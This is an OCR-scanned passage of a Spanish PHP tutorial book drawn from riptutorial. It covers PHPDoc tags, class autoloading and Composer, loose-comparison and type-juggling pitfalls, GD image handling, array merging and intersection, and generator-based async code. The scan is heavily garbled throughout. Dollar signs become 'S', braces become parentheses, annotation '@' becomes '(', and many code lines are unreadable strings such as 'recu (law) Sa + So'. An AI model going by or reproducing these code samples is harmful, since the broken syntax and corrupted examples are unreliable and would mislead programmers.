* (Otodo [descripción] 

* (uses [archivo | "FQSEN"] [<descripción>] 

* (Ovar["Type"] [element_name] [<description>] 

+ (Dversion ["Versión semántica"] [<descripción>] 

* filesource - Incluye el archivo actual en los resultados del análisis pnpDocumentor 

* (Dlink [URI] [<description>] - La etiqueta de enlace ayuda a definir la relación o enlace entre 
elementos estructurales . 


Observaciones 


"PHPDoc" es una sección de la documentación que proporciona información sobre 
aspectos de un "Elemento estructural" - PSR-5 


Las anotaciones de PHPDoc son comentarios que proporcionan metadatos sobre todos los tipos 
de estructuras en PHP. Muchos IDE populares están configurados de forma predeterminada para 
utilizar las anotaciones de PHPDoc para proporcionar información sobre el código e identificar 
posibles problemas antes de que surjan. 


Si bien las anotaciones de PHPDoc no forman parte del núcleo de PHP, actualmente tienen el 
estado de borrador con PHP-FIG como PSR-5 . 


Todas las anotaciones de PHPDoc están contenidas en DocBlocks que se demuestran mediante 
una multilínea con dos asteriscos: 
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pk 


El borrador completo de los estándares PHP-FIG está disponible en GitHub . 
Examples 


Añadiendo metadatos a las funciones. 


Las anotaciones de nivel de función ayudan a los IDE a identificar valores de retorno o códigos 
potencialmente peligrosos 


J** 
* Adds two numbers together. 
* 
* (param Int $a First parameter to add 
* (param Int $b Second parameter to add 
* (return Int 
2) 
function sum($a, $b) 
( 
recu (law) Sa + So 


) 


J** 


* Don't run me! I will always raise an exception. 
* 


* (throws Exception Always 
2 
function dangerousCode () 


( 


throw new Exception('0uch, that was dangerous!'); 


) 


pk 


* Old structures should be deprecated so people know not to use them. 
* 


* (deprecated 

ty 
function oldCode () 
1 


myseil_comiescio Y 00 0) p 


Añadiendo metadatos a archivos 


Los metadatos de nivel de archivo se aplican a todo el código dentro del archivo y se deben 
colocar en la parte superior del archivo: 


<?php 


pk 


* Qauthor John Do (jdoetexample.com) 
* (copyright MIT 
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ee 


Heredar metadatos de estructuras padre 


Si una clase extiende otra clase y usaría los mismos metadatos, proporcionarla tinheritDoc es 
una forma sencilla de usar la misma documentación. Si se heredan varias clases de una base, 
solo será necesario cambiar la base para que los niños se vean afectados. 


abstract class FooBase 


( 
¡Ak 


* (param Int $a First parameter to add 


* (param Int $b Second parameter to add 


* Vrstura dae 
/ 
public function sum(S$a, $b) () 


class ConcreteFoo extends FooBase 


( 
¡xk 
* (QinheritDoc 
A 
public function sum($a, $b) 


( 


return $a + $b; 


Describiendo una variable 


La palabra clave tvar se puede usar para describir el tipo y uso de: 


* Una propiedad de clase 
* una variable local o global 
* una clase o constante global 


class Example ( 


/** (var string This is something 
const UNCHANGING = "Untouchable"; 


/** var string $some_str This is 


public $some_str; 


that stays the same */ 


some string */ 


colleciiojn aut Sieulizae 


pk 

ss Uiyare eusresy SSiculce This is a 

* (var array $nonsense These are nonsens 
ve) 


private $stuff, $nonsense; 


El tipo puede ser uno de los tipos PHP integrados o una clase definida por el usuario, incluidos los 
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espacios de nombres. 


El nombre de la variable debe incluirse, pero puede omitirse si el bloque de documentos se aplica 
a un solo elemento. 


Describiendo parámetros 


JA 


* Parameters 


* f(param int Sint 

* f(param string $string 

* (f(param array Sarray 

* (param bool Sbool 

8 
function demo_param($int, $string, S$array, $bool) 
1 
) 


pk 

* Parameters - Optional / Defaults 
* 

* (param int Sint 


* f(param string $string 
* (param array Sarray 
* (param bool Sbool 


8 

function demo paramtoptional (Sinto ost ringi= Eo array = MS pool=Ealse) 
1 

) 

per 

* Parameters - Arrays 

* 

* (iparam array $mixed 

* (param int[] Sintegers 

* (param string[] $strings 

* fparam bool[] $bools 

* (param string[]|lint[] $strings_or_integers 
3 


function demo_param_arrays ($mixed, $integers, $strings, $bools, $strings_or_integers) 


* Parameters Complex 
* (param array S$config 
* <pre> 

* Sparams = [ 


hos "hostname' => (string) DB hostname. Required. 
e '"database' => (string) DB name. Required. 

ES '"username' => (string) DB username. Required. 
1 

* </pre> 

eS 


function demo_param_complex ($config) 
( 
) 
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Colecciones 


PSR-5 propone una forma de notación de estilo genérico para colecciones. 


Sintaxis de genéricos 


Type l 

ype<Type> 

VRESIVpEl yesica 
ype<Typel|Type]...> 


Los valores en una Colección PUEDEN ser incluso otra matriz e incluso otra Colección. 


ype<Type<Type>> 
ype<Type<Typel, Typel...>> 
ype<Iype<Typel|Typel...>> 


Ejemplos 


* (var ArrayObject<string> $name 


$name = new ArrayObject(['a', 'b']); 


* (var ArrayObject<int> $name 


$name = new ArrayObject([1, 21); 


* (var ArrayObject<stdClass> $name 


$name = new ArrayObjJect ([ 
new stdClass(), 
new stdClass() 


a 
* (var ArrayObject<string|lint|stdClass|bool> $name 
y) 
$Sname = new ArrayObjJect ( [ 
tar, 
true, 
1, 
tb, 
new stdClass(), 
ter 
Ze 
D; 


pk 
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* (var ArrayObject<ArrayO0bject<int>> $name 


Sname = new ArrayObjJect ( [ 
new ArrayO0bject([1, 2]), 
new ArrayObject([1, 2]) 


pk 


* (var ArrayObject<int, string> $name 


es 
$Sname = new ArrayObjJect ([ 

1 => TE, 

=> 'b' 

D; 
J** 
* (var ArrayObject<string, int> $name 
5) 
Sname = new ArrayObjJect ([ 

SS E 

"bt => 
D; 
pk 
* (var ArrayObject<string, stdClass> $name 
es 
Sname = new ArrayObjJect ([ 

"a' => new stdaClass(), 

'b' => new stdaClass() 


Lea PHPDoc en línea: https://riptutorial.com/es/php/topic/1881/phpdoc 
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Capítulo 75: Primer de carga automática 


Sintaxis 


* exigir 
* spl_autoload_require 


Observaciones 


La carga automática, como parte de una estrategia de marco, facilita la cantidad de código 
repetitivo que tiene que escribir. 


Examples 
Definición de clase en línea, no requiere carga 


ASS PR 
class Animal ( 
public function eats($food) ( 
ceao Nina, Sido US 
) 
) 


Sanimal = new Animal (); 
Sanimal->eats('meat'); 


PHP sabe qué €S animal antes de ejecutar el new Anima , porque PHP lee los archivos de origen 
de arriba a abajo. Pero, ¿y si quisiéramos crear nuevos animales en muchos lugares, no solo en 
el archivo de origen donde está definido? Para hacer eso, necesitamos cargar la definición de la 
clase. 


Carga manual de clases con requerimiento. 


// Animal.php 
class Animal ( 
public function eats($food) ( 
edao "Yum, Sia" 
) 
) 


// zoo.php 

require 'Animal.php'; 

Sanimal = new Animal; 

Sanimal->eats('slop'); 


// aquarium.php 

require 'Animal.php'; 
Sanimal = new Animal; 
Sanimal->eats('shrimp'); 
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Aquí tenemos tres archivos. Un archivo ("Animal.php") define la clase. Este archivo no tiene 
efectos secundarios además de definir la clase y mantiene perfectamente todo el conocimiento 
sobre un "Animal" en un solo lugar. Es fácilmente versión controlada. Es fácilmente reutilizable. 


Dos archivos consumen el archivo "Animal.php" al require manualmente el archivo. Nuevamente, 
PHP lee los archivos de origen de arriba a abajo, por lo que el servicio requiere el archivo 
"Animal.php" y hace que la definición de la clase animal esté disponible antes de llamar al new 


Animal . 


Ahora imagine que tuvimos docenas o cientos de casos en los que queríamos realizar Un new 
Animal . Eso requeriría (destinado a los juegos de palabras) muchos, muchos require 
declaraciones que son muy tediosas para codificar. 


La carga automática reemplaza la carga de definición de clase manual 


// autoload.php 
spl_autoload_register (function ($class) ( 
require_once "Sclass.php"; 


DH; 


// Animal.php 
class Animal ( 
public function eats($food) ( 
ceca "um, Sito" 
) 
) 


// zoo.php 

require 'autoload.php'; 
Sanimal = new Animal; 
Sanimal->eats('slop'); 


// aquarium.php 
require 'autoload.php'; 
Sanimal = new Animal; 


Sanimal->eats('shrimp'); 


Compara esto con los otros ejemplos. Observe cómo se reemplazó require "Animal.php" CON 
require "autoload.php" . Todavía estamos incluyendo un archivo externo en tiempo de ejecución, 
pero en lugar de incluir una definición de clase específica , incluimos una lógica que puede incluir 
cualquier clase. Es un nivel de direccionamiento que facilita nuestro desarrollo. En lugar de 
escribir Un require para cada clase que necesitamos, escribimos Un require para todas las clases. 
Podemos reemplazar N require CON 1 require . 


La magia sucede con sp! autoload register . Esta función de PHP se cierra y agrega el cierre a 
una cola de cierres. Cuando PHP encuentra una clase para la que no tiene definición, PHP 
entrega el nombre de la clase a cada cierre en la cola. Si la clase existe después de llamar a un 
cierre, PHP vuelve a su negocio anterior. Si la clase no existe después de probar toda la cola, 


PHP se bloquea con "No se encontró la clase 'Lo que sea". 


Autocarga como parte de una solución marco 
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// autoload.php 
spl_autoload_register (function ($class) ( 
require_once "S$class.php"; 


PH; 


// Animal.php 
class Animal ( 
public function eats($food) ( 
cenas "Niña, Sigo > 
) 
) 


// Ruminant.php 
class Ruminant extends Animal ( 
public function eats($food) ( 
if ('grass' === $food) ( 
parent: :eats ($food); 
) else ( 
clas Naci, SiO > 
) 


) 


// Cow.php 
class Cow extends Ruminant ( 


) 


// pasture.php 

require 'autoload.php'; 
Sanimal = new Cow; 
Sanimal->eats('grass'); 


Gracias a nuestro cargador automático genérico, tenemos acceso a cualquier clase que siga 
nuestra convención de nomenclatura del cargador automático. En este ejemplo, nuestra 
convención es simple: la clase deseada debe tener un archivo en el mismo directorio nombrado 
para la clase y que termina en ".php". Observe que el nombre de la clase coincide exactamente 
con el nombre del archivo. 


Sin carga automática, tendríamos que require manualmente las clases base. Si construyéramos 
un zoológico completo de animales, tendríamos miles de declaraciones de requisitos que podrían 
reemplazarse más fácilmente con un solo cargador automático. 


En el análisis final, la carga automática de PHP es un mecanismo que lo ayuda a escribir menos 
código mecánico para que pueda concentrarse en resolver problemas de negocios. Todo lo que 
tiene que hacer es definir una estrategia que asigne el nombre de la clase al nombre del archivo . 
Puede rodar su propia estrategia de carga automática, como se hace aquí. O bien, puede utilizar 
cualquiera de los estándares que la comunidad de PHP ha adoptado: PSR-0 o PSR-4 . O bien, 
puede utilizar compositor para definir y administrar genéricamente estas dependencias. 


Autocarga con compositor 


Composer genera un archivO vendor/autoload.php . 


Simplemente puede incluir este archivo y obtendrá la carga automática de forma gratuita. 
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require _ DIR__ . '/vendor/autoload.php'; 


Esto hace que trabajar con dependencias de terceros sea muy fácil. 


También puede agregar su propio código al autocargador agregando una sección de carga 
automática a su composer.json. 


"autoload"< 4 
"psr-4": ("YourApplicationNamespacelXY": "src/") 


En esta sección se definen las asignaciones de carga automática. En este ejemplo, se trata de 
una asignación PSR-4 de un espacio de nombres a un directorio: el directorio /sr< reside en la 


carpeta raíz de su proyecto, en el mismo nivel que el directorio /vendor . Un ejemplo de nombre de 


archivo sería src/Foo.php contiene una clase YourApplicationNamespaceWFoo . 


Importante: después de agregar nuevas entradas a la sección de carga automática, debe volver 


a ejecutar el comando dump-autoload para volver a generar y actualizar el archivo 
vendor/autoload.php CON la nueva información. 


Además psr-4 carga automática de »sr-4, Composer también admite psr-0 , classmap y Carga 
automática de riles . Vea la referencia de carga automática para más información. 


Al incluir el archivo /vendor/autoload.php , Se devolverá una instancia del Compositor Autoloader. 


Puede almacenar el valor de retorno de la llamada de inclusión en una variable y agregar más 


espacios de nombres. Esto puede ser útil para las clases de carga automática en un conjunto de 


pruebas, por ejemplo. 


Sloader = require _DIR__ . '/vendor/autoload.php'; 
Sloader->add ('ApplicationXATestXY', _DIR_); 


Lea Primer de carga automática en línea: https://riptutorial.com/es/php/topic/388/primer-de-carga- 


automatica 
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Capítulo 76: Problemas de malabarismo de 
tipo y comparación no estricta 


Examples 


¿Qué es el tipo de malabarismo? 


PHP es un lenguaje vagamente escrito. Esto significa que, de forma predeterminada, no requiere 
que los operandos de una expresión sean del mismo tipo (o compatibles). Por ejemplo, puede 
agregar un número a una cadena y esperar que funcione. 


var_dump ("This is example number " . 1); 


La salida será: 
string (24) "Este es el ejemplo número 1" 


PHP logra esto al convertir automáticamente tipos de variables incompatibles en tipos que 
permiten que se lleve a cabo la operación solicitada. En el caso anterior, convertirá el literal 
entero 1 en una cadena, lo que significa que se puede concatenar en el literal de la cadena 
anterior. Esto se conoce como tipo malabarismo. Esta es una característica muy poderosa de 
PHP, pero también es una característica que puede llevarlo a un montón de tirones si no está al 
tanto, e incluso puede llevar a problemas de seguridad. 


Considera lo siguiente: 


1 (1 == Svearlcioile) 
// do something 
) 


La intención parece ser que el programador está comprobando que una variable tiene un valor de 
1. ¿Pero qué sucede si $ variable tiene un valor de "1 y medio" en su lugar? La respuesta podría 
sorprenderte. 


Vi mel E laals"o 


Svariable = 
var_dump (1 == $variable); 


El resultado es: 
bool (verdadero) 


¿Por qué ha sucedido esto? Es porque PHP se dio cuenta de que la cadena "1 y medio" no es un 
número entero, pero debe ser para poder compararla con el número entero 1. En lugar de fallar, 
PHP inicia el tipo de malabarismo e intenta convertir la variable en una entero. Para ello, toma 
todos los caracteres al principio de la cadena que se pueden convertir en enteros y los emite. Se 
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detiene tan pronto como encuentra un personaje que no puede ser tratado como un número. Por 
lo tanto, "1 y medio" se convierte en entero 1. 


Por supuesto, este es un ejemplo muy artificial, pero sirve para demostrar el problema. Los 
siguientes ejemplos cubrirán algunos casos en los que me he encontrado con errores causados 
por los juegos de tipo que ocurrieron en software real. 


Leyendo de un archivo 


Al leer un archivo, queremos saber cuándo hemos llegado al final de ese archivo. Sabiendo que 
fgets () devuelve falso al final del archivo, podríamos usar esto como la condición para un bucle. 
Sin embargo, si los datos devueltos de la última lectura resultan ser algo que se evalúa como 

booleano false , puede hacer que nuestro bucle de lectura de archivos termine prematuramente. 


Shandle = fopen ("/path/to/my/file", "r"); 


1f (f$handle === false) ( 
throw new Exception ("Failed to open file for reading"); 


while ($data = fgets ($handle)) ( 
echo ("Current file line is $dataln"); 


fclose ($handle); 


Si el archivo que contiene leer una línea en blanco, el w.i1e de bucle se dará por terminado en 
ese momento, debido a que la cadena vacía se evalúa como booleano false . 


En su lugar, podemos verificar explícitamente el valor ta1se booleano, utilizando operadores de 
igualdad estricta : 


while (($data = fgets($handle)) !== false) ( 
echo ("Current file line is $dataln"); 


Tenga en cuenta que este es un ejemplo artificial; En la vida real usaríamos el siguiente bucle: 


while (!feof ($handle)) ( 
$data = fgets($handle); 
echo ("Current file line is $dataln"); 


O reemplazar todo el asunto con: 


Sfiledata = file("/path/to/my/file"); 
foreach (S$filedata as S$data) ( 
echo ("Current file line is $datan"); 
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Cambiar sorpresas 


Las declaraciones de cambio utilizan una comparación no estricta para determinar coincidencias. 
Esto puede llevar a algunas sorpresas desagradables . Por ejemplo, considere la siguiente 
declaración: 


switch ($name) ( 

case "iimpuie 1" 
Suode = "omega 107 
break; 

CASA 
Siode = "ou 20 p 
break; 

default: 
Smode = 'unknown'; 


break; 


Esta es una declaración muy simple, y funciona como se esperaba cuando sname es una cadena, 
pero puede causar problemas de lo contrario. Por ejemplo, Si $name es el entero o , entonces el 
tipo de malabarismo ocurrirá durante la comparación. Sin embargo, es el valor literal en la 
declaración de caso que se hace malabarismo, no la condición en la instrucción de cambio. La 
cadena "input 1" se convierte a entero o que coincide con el valor de entrada de entero o . El 
resultado de esto es que si proporciona un valor de entero o , el primer caso siempre se ejecuta. 


Hay algunas soluciones a este problema: 
Casting explícito 
El valor se puede encasillar en una cadena antes de la comparación: 


switch ((string)$name) ( 


O también se puede usar una función conocida para devolver una cadena: 


switch (strval ($name)) ( 


Ambos métodos aseguran que el valor sea del mismo tipo que el valor en las declaraciones de 


case. 


Evita F el switch 


El uso de una declaración is nos permitirá controlar cómo se realiza la comparación, lo que nos 
permitirá utilizar operadores de comparación estrictos : 


https://riptutorial.com/es/nome 403 


1f ($name === "input 1") ( 


Smode output 

) elseif ($name === "input 2") ( 
fñode = "emeame_ 207 

) else ( 
$mode = "unknown"; 


) 


Tipificación estricta 


Desde PHP 7.0, algunos de los efectos dañinos de los juegos malabares pueden mitigarse con 
una escritura estricta . Al incluir esta declare declaración como la primera línea del archivo, PHP 
aplicará las declaraciones de tipo de parámetro y devolverá las declaraciones de tipo lanzando 
una excepción TypeError . 


declare (strict_types=1); 


Por ejemplo, este código, utilizando definiciones de tipo de parámetro, lanzará una excepción 
detectable de tipo Typerrror cuando se ejecute: 


<?php 
declare (strict_types=1); 


function sum(int $a, int $b) ( 
return $a + $b; 


) 


salmo Suma (ML. 2)p 


Asimismo, este código utiliza una declaración de tipo de retorno; también lanzará una excepción 
si intenta devolver algo que no sea un entero: 


<?php 
declare (strict_types=1); 


Funciona recrcuiimerz (Se) Ss me 
return Sa; 


) 


returner ("this is a string"); 
Lea Problemas de malabarismo de tipo y comparación no estricta en línea: 


https://riptutorial.com/es/php/topic/2758/problemas-de-malabarismo-de-tipo-y-comparacion-no- 
estricta 
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Capítulo 77: Procesamiento de imágenes con 
GD 


Observaciones 


Cuando se usa el header ("Content-Type: $mimeType"); € image____ para generar solo una imagen a 
la salida, asegúrese de no mostrar nada más, observe incluso una línea en blanco después de >> 
. (Eso puede ser un 'error' difícil de rastrear: no se obtiene ninguna imagen ni idea de por qué). El 
consejo general es no incluir?> En absoluto aquí. 


Examples 


Creando una imagen 
Para crear una imagen en blanco, use la función imagecreatetruecolor : 


Simg = imagecreatetruecolor ($width, $height); 


$img ahora es una variable de recurso para un recurso de imagen con s$width X $heignt píxeles. 
Tenga en cuenta que el ancho cuenta de izquierda a derecha y el alto cuenta de arriba a abajo. 


Los recursos de imágenes también se pueden crear a partir de funciones de creación de 
imágenes , como: 


* imagecreatefrompng 


* imagecreatefromjpeg 


+ Otras funciones de imagecreatefrom* . 


Los recursos de imagen pueden liberarse más adelante cuando no haya más referencias a ellos. 
Sin embargo, liberar la memoria inmediatamente (esto puede ser importante si está procesando 
muchas imágenes grandes), USar imagedestroy () en una imagen cuando ya no se usa puede ser 
una buena práctica. 


imagedestroy ($image) ; 


Convertir una imagen 


Las imágenes creadas por la conversión de imagen no modifican la imagen hasta que la imprime. 
Por lo tanto, un convertidor de imágenes puede ser tan simple como tres líneas de código: 


function convertJpegToPng(string $filename, string S$outputFile) ( 


Sim = imagecreatefromjpeg($filename); 
imagepng ($im, SoutputFile); 
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imagedestroy ($im); 


Salida de imagen 


Se puede crear una images Usando las funciones de image» , donde + es el formato de archivo. 


Tienen esta sintaxis en común: 


bool image (resource $im [, mixed $to [ other parameters]] ) 


Guardando en un archivo 


Si desea guardar la imagen en un archivo, puede pasar el nombre del archivo, o una secuencia 
de archivos abierta, como sto . Si pasa un flujo, no necesita cerrarlo, porque GD lo cerrará 
automáticamente. 


Por ejemplo, para guardar un archivo PNG: 


imagepng ($image, "/path/to/target/file.png"); 


$stream = fopen("phar://path/to/target.phar/file.png", "wb"); 
imagepng (S$image2, $stream); 
// Don't fclose($stream) 


Cuando USe fopen , asegúrese de usar la bandera » lugar de la bandera + , porque el archivo es 
una salida binaria. 


No tratan de pasSal' fopen ("php://temp", $£) O fopen ("php: //memory", $f) a la misma. Dado que la 
función es cerrada por la función después de la llamada, no podrá utilizarla más, como para 
recuperar su contenido. 


Salida como una respuesta HTTP 


Si desea devolver directamente esta imagen como respuesta de la imagen (por ejemplo, para 
crear credenciales dinámicas), no necesita pasar nada (o pasar nu11 ) como segundo argumento. 
Sin embargo, en la respuesta HTTP, debe especificar su tipo de contenido: 


header ("Content-Type: S$mimeType"); 


SmimeType €s el tipo MIME del formato que está devolviendo. Los ejemplos incluyen image/png , 
image/gif € image/jpeg . 


Escribir en una variable 
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Hay dos formas de escribir en una variable. 
Utilizando OB (buffer de salida) 


ob_start (); 
imagepng ($image, null, S$quality); // pass null to supposedly write to stdout 


Sbinary ob_get_clean(); 


Usando envoltorios de flujo 


Puede tener muchas razones por las que no desea utilizar el búfer de salida. Por ejemplo, es 
posible que ya tenga OB en. Por lo tanto, se necesita una alternativa. 


Usando la función stream_wrapper_register , Se puede registrar una nueva envoltura de flujo. Por lo 
tanto, puede pasar una secuencia a la función de salida de imagen y recuperarla más tarde. 


<?php 


class GlobalStreamí 
private $var; 


public function stream_open(string $path) 
Sthis->var =8 $GLOBALS [parse_url ($path) ["host"]]; 
return true; 


) 
public function stream_write(string $data)( 


Sthis->var .= $data; 
return strlen($data); 


stream_wrapper_register ("global", GlobalStream: :class); 


Simage = imagecreatetruecolor(100, 100); 
imagefill($image, 0, 0, imagecolorallocate ($image, 0, 0, 0)); 


MD 


$stream = fopen("global://myImage", 
imagepng ($image, $stream); 
echo base64_encode ($myImage) ; 


En este ejemplo, la clase c1oba1stream escribe cualquier entrada en la variable de referencia (es 
decir, escribe indirectamente en la variable global del nombre dado). La variable global se puede 
recuperar más tarde directamente. 


Hay algunas cosas especiales a tener en cuenta: 


+ Una clase de derivador de flujo totalmente implementada debería tener este aspecto, pero 
de acuerdo con las pruebas realizadas con el método mágico _ ca11, solo se llama a 
stream_open , stream_write Y stream_close desde funciones internas. 

+ No se requieren indicadores en la llamada fopen , pero al menos debe pasar una cadena 
vacía. Esto se debe a que la función ropen espera ese parámetro, e incluso si no lo usa en 
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su implementación de stream_open , todavía se necesita uno falso. 
* Según las pruebas, stream_ write Se llama varias veces. Recuerde usar .- (Asignación de 
concatenación), no = (asignación de variable directa). 


Ejemplo de uso 


En la etiqueta HTML <img> , se puede proporcionar una imagen directamente en lugar de usar un 


enlace externo: 


echo '<img src="data:image/png;base64,' . base64_encode ($binary) . '">'; 


Recorte de imagen y cambio de tamaño 


Si tiene una imagen y desea crear una nueva, con nuevas dimensiones, puede usar la función 


imagecopyresampled : 


Primero crea una nueva image con las dimensiones deseadas: 


// new image 


Sdst_img = imagecreatetruecolor ($width, $height); 


y almacenar la imagen original en una variable. Para hacerlo, puede usar una de las funciones 
createimagefrom* donde * significa: 

* jpeg 

* gif 


* png 
* cuerda 


Por ejemplo: 


//original image 
$Ssrc_img=imagecreatefromstring(file_get_contents ($original_image_path)); 


Ahora, copie toda (o parte de) la imagen original (src_img) en la nueva imagen (dst_img) por 


imagecopyresampled : 


imagecopyresampled ($dst_img, $src_img, 
Selsie_s y Besie_y, Bee, Besze y; 
$dst_width, $dst_height, $src_ width, $src_height); 


Para establecer laS src_* y ast_* , Use la siguiente imagen: 
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https://riptutorial.com/es/php/topic/5195/procesamiento-de-imagenes-con-gd 
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Capítulo 78: Procesando múltiples matrices 
juntos 


Examples 

Fusionar o concatenar matrices 
Srzmutiecl= [Pagales", east], 
Sfruit2 = ['bananas', 'oranges']; 
Salltot fruits = array merge (Strultl, $ Eruitc 2), 


Il ma velas o; Seldl_or seves ads [0 => “agales”, => 'pears', 2 => 'bananas', 3 => 
"oranges'] 


Tenga en cuenta que array_merge Cambiará los Índices numéricos, pero sobrescribirá los índices 
de cadena 


Sfruitl = ['one' => 'apples', "two! => 'pears']; 
$fruit2 = ['one' => 'bananas', 'two' => 'oranges']; 


Sculil_ pu imebbies = creia meros (Sable, Sirio 2) A 
// now value of $all_of_ fruits is ['one' => 'bananas', 'two' => 'oranges'] 


array_merge Sobrescribe los valores de la primera matriz con los valores de la segunda matriz, si 
no puede renumerar el índice. 


Puede usar el operador + para combinar dos matrices de manera que los valores de la primera 
matriz nunca se sobrescriban, pero no renumera los índices numéricos, por lo que pierde los 
valores de las matrices que tienen un índice que también se usa en la primera matriz . 


Sfruitl = ['one' => 'apples', '"two' => 'pears']; 
Sfruit2 = ['one' => 'bananas', 'two' => 'oranges']; 


Saldo repules = SibeauilelL e Sitrpibe zo 


// now value of $all_of fruits is ['one' => 'apples', 'two' => 'pears'] 
Sfruitl = ['apples', 'pears']; 
Sfruit2 = ['bananas', 'oranges']; 


Sala or mrepules = SireuulelL  Sibrpibe Zo 
Il values o Sall_ oí services £s [10 => “ajgoales"', 1 => 'pearzs'] 


Intersección de matriz 


La función array_intersect devolverá una matriz de valores que existe en todas las matrices que 
se pasaron a esta función. 


Sarray_one = ['one', 'two', 'three']; 
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Semen mo = [Memo", “imss, "Eowz"]A 


Sarray_three [“Ewo", *three"l; 
Sintersect = array_intersect ($array_one, Sfarray_two, Sfarray_three); 
Il Simce Somecilas [Merol, “ur Y”] 


Se conservan las claves de matriz. Los índices de las matrices originales no lo son. 


array_intersect solo verifica los valores de los arrayS. array_intersect_assoc función 
array_intersect_assoc devolverá la intersección de matrices con claves. 


Sarray_one = [1 => 'one',2 => 'two',3 => 'three']; 

Sarray_two = [1 => 'one', 2 => 'two', 3 => 'two', => 'three']; 
Sarray_thr = [ML => “ame”, 2 => "Emo" ]? 

Sintersect = array_intersect_assoc(Sfarray_one, Sarray_two, Sarray_three); 


1 Simce Someculas [Ll =>"0me",2 => “io” ] 


array_intersect_key función array_intersect_key solo verifica la intersección de claves. Se 
devolverán las claves que existen en todos los arrays. 


Sarray_one = [1 => 'one',2 => 'two',3 => 'three']; 

Sarray_two = [1 => 'one', 2 => 'two', 3 => 'four']; 

Saray = [1 => "ome", 3 => 'tiwe"]y 

Sintersect = array_intersect_key ($array_one, Sfarray_two, Sfarray_three); 
Il Simcorsece comesutlas [Ll =>"o0me",3 => '"uHizeses"] 


Combinando dos matrices (claves de una, valores de otra) 


El siguiente ejemplo muestra cómo combinar dos matrices en una matriz asociativa, donde los 
valores clave serán los elementos de la primera matriz, y los valores serán de la segunda: 


Sebas ome = [Mesyi, Meayal, Uesysa 7 
Seran == [alcli, "yelics,) ales 
Sarray_three = array_combine ($array_one, Sfarray_two); 


var_export (Sarray_three); 


/* 
array ( 
'key1' => 'valuel', 
"key2' => 'value2', 
'key3' => 'value3', 
) 
nd 


Cambio de una matriz multidimensional a matriz asociativa 


Si tienes una matriz multidimensional como esta: 
Pac. bara 
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rizz0, Momzz0], 


Y quieres cambiarlo a una matriz asociativa como esta: 


A A a 
rata => MoumzzY, 


Puedes usar este código: 


$multidimensionalArray = [ 
ESO, bar Is 
[rta Momia], 


1; 


SassociativeArrayKeys = array_column ($multidimensionalArray, 0); 
SassociativeArrayValues = array_colunmn ($multidimensionalArray, 1); 
SassociativeArray = array_combine($associativeArrayKeys, fassociativeArrayValues); 


0) bien, puede omitir la configuración de SassociativeArrayKeys Y $associativeArrayValues y USar 
este simple liner: 


SassociativeArray = array_combine(array_column ($multidimensionalArray, 0), 
array_column ($multidimensionalArray, 1)); 


Lea Procesando múltiples matrices juntos en línea: 
https://riptutorial.com/es/php/topic/6827/procesando-multiples-matrices-juntos 
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Capítulo 79: Programación asíncrona 


Examples 


Ventajas de los generadores 


PHP 5.5 introduce Generadores y la palabra clave de rendimiento, que nos permite escribir 
código asíncrono que se parece más a un código síncrono. 


La expresión de yieza es responsable de devolver el control al código de llamada y proporcionar 
un punto de reanudación en ese lugar. Uno puede enviar un valor a lo largo de la instrucción de 
yield . El valor de retorno de esta expresión eS nu11 o el valor que se pasó a Generator: :send() . 


function reverse_range($i) ( 
// the mere presence of the yield keyword in this function makes this a Generator 
do ( 
// Si is retained between resumptions 


prime yiele 87 
) while (--$i > 0); 
) 


$gen = reverse_range (5); 
¡cla Sesa=> cuca (0) 
Sgen->send ("injected!"); // send also resumes the Generator 


foreach ($gen as $val) [í // loops over the Generator, resuming it upon each iteration 
echo $val; 
) 
// Output: binjected! 4321 
Este mecanismo puede ser utilizado por una implementación de rutina para esperar a los 


Awaitables cedidos por el Generador (registrándose a sí mismo como una devolución de llamada 
para resolución) y continuar la ejecución del Generador tan pronto como se resuelva el Awaitable. 


Usando el bucle de evento Icicle 
Icicle usa Awaitables y Generadores para crear Coroutines. 


require _DIR__ . '/vendor/autoload.php'; 


use IciclelAwaitable; 
use IciclelCoroutinelCoroutine; 
use IciclelLoop; 


Sgenerator = function (float $time) ( 
¡al 
// Sets $start to the value returned by microtime() after approx. $time seconds. 
Sstart = yield Awaitablelresolve (microtime (true) ) ->delay ($time) ; 
celo "Siles euss Y, ulcera (Ene) = Ssieerae, Uat 
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// Throws the exception from the rejected awaitable into the coroutine. 


return yield Awaitablelreject (new Exception('Rejected awaitable')); 
) catch (Throwable $e) (1 // Catches awaitable rejection reason. 
echo "Caught exception: ", $e->getMessage(), "An"; 


return yield Awaitablelresolve('Coroutine completed'); 
y; 
// Coroutine sleeps for 1.2 seconds, then will resolve with a string. 
Scoroutine = new Coroutine ($generator (1.2)); 
Scoroutine->done (function (string $data) ( 
echo Sdata, "hat; 


PH; 


LoopYrun (); 


Usando el bucle de eventos Amp 


Amp aprovecha las promesas [otro nombre para Awaitables] y los generadores para la creación 
de coroutine. 


require _ DIR__ . '/vendor/autoload.php'; 


use AmplDns; 


// Try our system defined resolver or googles, whichever is fastest 
function queryStackOverflow($recordtype) ( 


Srequests = [ 
DnsXquery ("stackoverflow.com", $recordtype), 
DnsXquery ("stackoverflow.com", $recordtype, ["server" => "8.8.8.8"]), 


1; 


// returns a Promise resolving when the first one of the requests resolves 


return yield Amplfirst ($request); 


NAmplrun (function() (í // main loop, implicitly a coroutine 
1157 
// convert to coroutine with Amplresolve () 
Spromise = Amplresolve (queryStackOverflow(DnsXRecord: :NS)); 
list ($ns, $type, $ttl) = // we need only one NS result, not all 


current (yield Ampltimeout ($promise, 2000 /* milliseconds */)); 
echo "The result of the fastest server to reply to our query was $ns"; 
) catch (AmpYTimeoutException $e) ( 

cho "We've heard no answer for 2 seconds! Bye!"; 


) catch (DnsiNoRecordException $e) ( 
echo "No NS records there? Stupid DNS nameserver!"; 


DH; 


Generando procesos no bloqueantes con proc_open () 
PHP no tiene soporte para ejecutar código simultáneamente a menos que instale extensiones 


COMO pthread . Esto puede a Veces proc_open() usando proc_open () Y stream_set_blocking() Y 
leyendo su salida de forma asíncrona. 
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Si dividimos el código en partes más pequeñas, podemos ejecutarlo como supercesos múltiples. 
Luego, usando la función stream _set_blocking () podemos hacer que cada subproceso también 
sea no bloqueante. Esto significa que podemos generar subprocesos múltiples y luego verificar su 
salida en un bucle (de manera similar a un bucle par) y esperar hasta que todos terminen. 


Como ejemplo, podemos tener un pequeño subproceso que simplemente ejecuta un bucle y en 
cada iteración duerme aleatoriamente entre 100 y 1000 ms (nota, el retraso siempre es el mismo 
para un subproceso). 


<?php 

// subprocess.php 

$Sname = S$argv[1]; 

$delay = rand(1, 10) * 100; 

printf ("$name delay: $(ídelay)jms1in"); 


to (Sl = 09 Sl < be Si) A 
